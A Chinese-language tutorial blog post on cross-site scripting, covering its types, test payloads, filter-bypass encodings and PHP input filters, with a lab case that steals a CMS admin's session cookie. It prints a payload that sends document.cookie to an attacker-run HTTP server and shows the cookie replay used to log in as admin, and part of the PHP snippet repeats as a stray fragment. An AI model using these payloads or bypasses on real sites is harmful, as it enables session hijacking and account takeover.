XSS 跨站点脚本漏洞详解

news2024/11/22 20:01:53

文章目录

  • 漏洞概述
  • XSS漏洞原理
  • xss漏洞危害
  • xss漏洞验证
  • XSS漏洞分类
    • 反射型
    • 存储型
    • DOM型
  • 固定会话攻击
    • 原理
    • 简单xss注入复现
  • XSS 攻防
    • xss构造方法
      • 利用标签符号<>
      • 事件响应
      • javascript伪协议
      • 其他标签
    • XSS 变形方式
      • xss防御
        • 黑白名单策略
        • 输入过滤
    • 案例
      • XSS 盲打

漏洞概述

​ 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或 Web 应用程序中执行恶意脚本。当 web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生 XSS。由于与SS(Cascadinq style sheet) 重名,所以就更名为 XSS。
​ XSS 作为 OWASP TOP 10(2017)内容之一,主要使用 Javasript 来完成恶意攻击的行为JS 可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS 攻击“想象”空间非常大。也就是说Js强大的灵活性和功能,为XSS 攻击提供了非常广阔的攻击面

XSS漏洞原理

​ XSS通过将精心构造的代码(Javascript)注入到网页中,并由浏览器解释运行这段 JS 代码,以达到恶意攻击的效果。当用户访问被 XS 脚本注入过的网页,XS 脚本就会被提出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。整个 XSS 攻击过程,涉及三个角色:

  • 服务器
  • 攻击者
  • 客户端浏览器用户

在这里插入图片描述

一般收集用户输入的地方存在xss代码注入

这种脚本工具是需要客户端用户来触发 ,属于被动盲打

xss的攻击目标是客户端浏览器用户,由于浏览器类别不同部分攻击效果也不同,甚至于同一款浏览器,攻击效果都不

xss漏洞危害

xss是利用js代码实现攻击

  • 盗取各种用户账号
  • 窃取用户 Cookie 资料,冒充用户身份进入网站
  • 劫持用户会话执行正意操作
  • 刷流量,执行弹窗广告
  • 传播蠕虫病毒

xss漏洞验证

通过简单的js代码进行验证漏洞的存在性

<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

XSS漏洞分类

反射型

非持久性、参数型的跨站脚本,不会一直存在的,反射型xss代码在web应用参数中比如搜索型

反射型xss代码出现在keyword参数中

简单测试xss注入

<script>alert("xss");</script>

存储型

​ 持久性跨站脚本。持久性体现在 XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中

DOM型

​ DOM 型 XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的 DOM 树而执行的。特殊的地方就是攻击代码(payload)在浏览器本地修改 DOM 树而执行,并不会将 paylod 上传到服务器,这也使得 DOM 型 XSS 比较难以检测。

固定会话攻击

原理

​ 用户会话令牌利用 Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。
​ 可以利用 XSS攻击窃取到浏览器里的 Cookie 信息

​ 由于 XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会发漏洞,这个过程一般被成为 XSS盲打。

xss环境 https:?/xss.pt

简单xss注入复现

  1. 开启在攻击机上开启HTTP服务

  2. 在受害机上的有xss注入的web网页里的输入框插入payload

    <script>document.write(\'<img src=\"http://开启http服务的ip/\'+document.cookie+\'\"width=0 height=0 border=0/>\')\;</script>
    

    \是用来转义字符的转义

XSS 攻防

xss构造方法

如何触发xss

利用标签符号<>

构造html标签语句让服务器执行标签语句

比如:

<img src=https://tse2-mm.cn.bing.net/th/id/OIP-C.6szqS1IlGtWsaiHQUtUOVwHaQC?pid=ImgDet&rs=1>  //随便一个图片地址

在这里插入图片描述

发现执行了

事件响应

通过html事件来进行弹窗验证

事件类型说明
window 事件对window 对象触发的事件
Form 事件HTML 表单内触发的事件
Keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
<img onmouseover = 'alert(/dont touch me!/)' src = > //利用鼠标停留事件进行弹窗

<input type = 'text' onkeydown = 'alert(/xss/)'> //按一下按键触发

<input type = 'text' onkeyup = 'alert(/xss/)'>

javascript伪协议

javascript:alert(/xss/)

javascript代替了http://相当于访问了一个网页

那么就可以利用a标签进行弹窗

<a href = javascript:alert(/xss/) >click me!</a>

<img src = "javascript:alert(/xss/)">

其他标签

<svg onload='alert(/xss/)'>
    
<input onfocus=alert(/xss/) autofocus> 光标停留触发

xsspayload:

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

XSS 变形方式

  1. 使用关键字双写

    • <scr<script>ipt> </script>
  2. 大小写拼接

  3. 利用hrml事件使用其他标签

    <img src=# οnerrοr=alert(“xss”)>

  4. 如果将on过滤掉的话就进行拼接或双写完成html事件

  5. 使用sctipt伪协议

  6. 对script伪协议进行转码

    字母ASCII 码十进制编码十六进制编码
    a97aa
    c99cc
    e101ee

    将javascript全部转换

    <a href='&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/
    xss/)'>click me!</a>
    

    或者进行其他编码:

    • utf-8 编码
    • utf-7 编码
  7. 插入其他字符

    • 可以将以下字符插入到任意位置

      字符编码
      Tab&#9;
      换行&#10;
      回车&#13;
    <a href = 'j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>
    
    • 在头部插入以下字符

      字符编码
      SOH&#01;
      STX&#02;
    <a href = '&#01;&#02;j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!
    </a>
    
  8. 可以从引号下手

    • 不使用引号
    • 使用双引号
    • 使用单引号
  9. 可以使用/代替空格

    <Img/sRc='#'/OnErRoR='alert(/xss/)'>
    
  10. 将代码拆分成多段

<script>eval(alert(/xss/))</script>
<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>

xss防御

黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容

  • 白名单:允许的内容

XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。

输入过滤

输入验证:对用户提交的信息进行“有效性”验证。

  • 仅接受指定长度;
  • 仅包含合法字符;
  • 仅接收指定范围;
  • 特殊的格式,例如,email、IP 地址。数据消毒:过滤或净化掉有害的输入。
$keywords = str_replace("<script>", "", $keywords);   //在keywords里面搜索script关键字将script标签替换为空过滤script标签

$keywords = preg_replace("/<script>/i", "", $keywords);		//通过正则匹配替换将script标签匹配所有大小写过滤为空

$keywords = preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", $keywords); //通过贪婪pei'p将所有script替换为空防止双写

$keywords = str_replace("on", "o_n", $keywords);   //过滤html事件

$keywords = preg_replace("/on/i", "o_n", $keywords); //将on进行过滤并限制大小写

$keywords = str_replace("<", "", $keywords);  //把<>标签进行过滤

$keywords = str_replace(">", "", $keywords);  //把<>标签进行过滤


$keywords = htmlspecialchars($keywords);

echo $keywords;


", "o_n", $keywords);   //过滤html事件

$keywords = preg_replace("/on/i", "o_n", $keywords); //将on进行过滤并限制大小写

$keywords = str_replace("<", "", $keywords);  //把<>标签进行过滤

$keywords = str_replace(">", "", $keywords);  //把<>标签进行过滤


$keywords = htmlspecialchars($keywords);

echo $keywords;

在这里插入图片描述

案例

XSS 盲打

利用存储型XSS获取cms 网站后台管理员Cookie攻击者登录后台
攻击机开启http服务
在这里插入图片描述
访问cms网站在留言板进行留言并插入储存型xss注入
<script>document.write(\'<img src=\"http://10.9.47.241/\'+document.cookie+\'\"width=0 height=0 border=0/>\')\;</script>
在这里插入图片描述
在这里插入图片描述
注入成功模拟目标机管理原进行登录
在这里插入图片描述
登陆成功访问留言管理页面
在这里插入图片描述
返回http服务查看cookie已经获取到了
在这里插入图片描述
将他写入到浏览器就可以直接登录了
document.cookie=“username=admin”
document.cookie=“userid=1”
document.cookie=“PHPSESSID=fhs6pphep0ru6b74kclkugl7s5”
在这里插入图片描述
直接访问管理员页面登录成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1189823.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

简单理解 Sentinel 滑动窗口实现原理

theme: serene-rose 1. 引言 Hi&#xff0c;你好&#xff0c;我是有清 对于刚经历过双 11 的电商人来说&#xff0c;限流这个词肯定在 10.24 的晚 20.00 点被提起过 限流作为保护我们系统不被流量冲垮的手段之一&#xff0c;建议每个电商人深入了解学习&#xff0c;什么&#x…

ansible-第二天

ansible 第二天 以上学习了ping、command、shell、script模块&#xff0c;但一般不建议使用以上三个&#xff0c;因为这三个模块没有幂等性。举例如下&#xff1a; [rootcontrol ansible]# ansible test -a "mkdir /tmp/1234"[WARNING]: Consider using the file …

GitHub上的开源工业软件

github上看到一个中国人做的流体力学开源介绍&#xff0c;太牛了&#xff01; https://github.com/clatterrr/FluidSimulationTutorialsUnity 先分析一下工业仿真软件赛道 工业仿真软件的赛道和产品主要功能如下&#xff1a; 1. 工艺仿真赛道&#xff1a; - 工厂布局优化&am…

人工智能模型转ONNX 连接摄像头使用ONNX格式的模型进行推理

部署之后模型的运算基本上能快5倍。本地部署之后&#xff0c;联网都不需要&#xff0c;数据和隐私不像在网上那样容易泄露了。 模型部署的通用流程 各大厂商都有自己的推理工具。 训练的归训练&#xff0c;部署的归部署&#xff0c;人工智能也分训练端和部署端&#xff0c;每一…

派金SDK接入文档

一、接入SDK 1、将sdk文件手动导入到目标项目中&#xff0c;如下图所示&#xff1a; 2、该SDK需接入其他三方广告&#xff0c;通过pod的方式接入&#xff0c;在Profile中加入如下代码&#xff1a; pod GDTMobSDK, ~> 4.14.40pod BaiduMobAdSDK, ~> 5.313pod KSAdSDK…

pytorch中常用的损失函数

1 损失函数的作用 损失函数是模型训练的基础&#xff0c;并且在大多数机器学习项目中&#xff0c;如果没有损失函数&#xff0c;就无法驱动模型做出正确的预测。 通俗地说&#xff0c;损失函数是一种数学函数或表达式&#xff0c;用于衡量模型在某些数据集上的表现。损失函数在…

数模之线性规划

线性规划 优化类问题&#xff1a;有限的资源&#xff0c;最大的收益 例子: 华强去水果摊找茬&#xff0c;水果摊上共3个瓜&#xff0c;华强总共有40点体力值,每劈一个瓜能带来40点挑衅值,每挑一个瓜问“你这瓜保熟吗”能带来30点挑衅值,劈瓜消耗20点体力值&#xff0c;问话消耗…

Linux awk命令

除了使用 sed 命令&#xff0c;Linux 系统中还有一个功能更加强大的文本数据处理工具&#xff0c;就是 awk。 曾有人推测 awk 命令的名字来源于 awkward 这个单词。其实不然&#xff0c;此命令的设计者有 3 位&#xff0c;他们的姓分别是 Aho、Weingberger 和 Kernighan&#x…

7+差异分析+WGCNA+PPI网络,学会了不吃亏

今天给同学们分享一篇生信文章“Integrated PPI- and WGCNA-Retrieval of Hub Gene Signatures Shared Between Barretts Esophagus and Esophageal Adenocarcinoma”&#xff0c;这篇文章发表在Front Pharmacol期刊上&#xff0c;影响因子为5.6。 结果解读&#xff1a; 选定研…

【解决方案】vue 项目 npm run dev 时报错:‘cross-env‘ 不是内部或外部命令,也不是可运行的程序

报错 cross-env 不是内部或外部命令&#xff0c;也不是可运行的程序 或批处理文件。 npm ERR! code ELIFECYCLE npm ERR! errno 1 npm ERR! estate1.0.0 dev: cross-env webpack-dev-server --inline --progress --config build/webpack.dev.conf.js npm ERR! Exit status 1 np…

什么是final修饰 使用final修饰类、方法、变量的区别?

简介: 变量成为常量&#xff0c;不允许修改 当final修饰类时&#xff0c;该类变为最终类&#xff08;或称为不可继承的类&#xff09;。不能从最终类派生子类。这样做的目的是为了防止其他类修改或扩展最终类的行为。当final修饰方法时&#xff0c;该方法成为最终方法&#xf…

Qt QtCreator调试Qt源码配置

目录 前言1、编译debug版Qt2、QtCreator配置3、调试测试4、总结 前言 本篇主要介绍了在麒麟V10系统下&#xff0c;如何编译debug版qt&#xff0c;并通过配置QtCreator实现调试Qt源码的目的。通过调试源码&#xff0c;我们可以对Qt框架的运行机制进一步深入了解&#xff0c;同时…

计算摄像技术03 - 数字感光器件

一些计算摄像技术知识内容的整理&#xff1a;感光器件的发展过程、数字感光器件结构、数字感光器件的指标。 目录 一、感光器件的发展过程 二、数字感光器件结构 &#xff08;1&#xff09;CCD结构 ① 微透镜 ② 滤光片 ③ 感光层 电荷传输模式 &#xff08;2&#xff09;CMOS结…

代码随想录算法训练营第16天|104. 二叉树的最大深度111.二叉树的最小深度222.完全二叉树的节点个数

JAVA代码编写 104. 二叉树的最大深度 给定一个二叉树 root &#xff0c;返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;3示例 2&#xff1a; …

API接口自动化测试

本节介绍&#xff0c;使用python实现接口自动化实现。 思路&#xff1a;讲接口数据存放在excel文档中&#xff0c;读取excel数据&#xff0c;将每一行数据存放在一个个列表当中。然后获取URL,header,请求体等数据&#xff0c;进行请求发送。 结构如下 excel文档内容如下&#x…

【vue会员管理系统】篇五之系统首页布局和导航跳转

一、效果图 1.首页 2.会员管理&#xff0c;跳转&#xff0c;跳其他页面也是如此&#xff0c;该页的详细设计会在后面的章节完善 二、代码 新增文件 components下新增文件 view下新增文件&#xff1a; 1.componets下新建layout.vue 放入以下代码&#xff1a; <template…

计算机组成原理之指令

引言 关于riscv操作数 32个寄存器 | X0~X31|快速定位数据。在riscv中&#xff0c;只对寄存器中的数据执行算术运算 2^61个存储字 | 只能被数据传输指令访问。riscv体系采用的是字节寻址。 一个寄存器是8bytes&#xff0c;64位&#xff08;double word&#xff09; 每次取的…

Python高级语法----深入asyncio:构建异步应用

文章目录 异步I/O操作示例:异步网络请求异步任务管理示例:并发执行多个任务使用异步队列示例:生产者-消费者模式在现代软件开发中,异步编程已经成为提高应用性能和响应性的关键技术之一。Python的asyncio库为编写单线程并发代码提供了强大的支持。本文将深入探讨asyncio的三…

Hadoop原理,HDFS架构,MapReduce原理

Hadoop原理&#xff0c;HDFS架构&#xff0c;MapReduce原理 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c…

C++ vector 动态数组的指定元素删除

文本旨在对 C 的容器 vector 进行肤浅的分析。 文章目录 Ⅰ、vector 的指定元素删除代码结果与分析 Ⅱ、vector 在新增元素后再删除指定元素代码结果与分析 Ⅲ、vector 在特定条件下新增元素代码结果与分析 参考文献 Ⅰ、vector 的指定元素删除 代码 #include <iostream&g…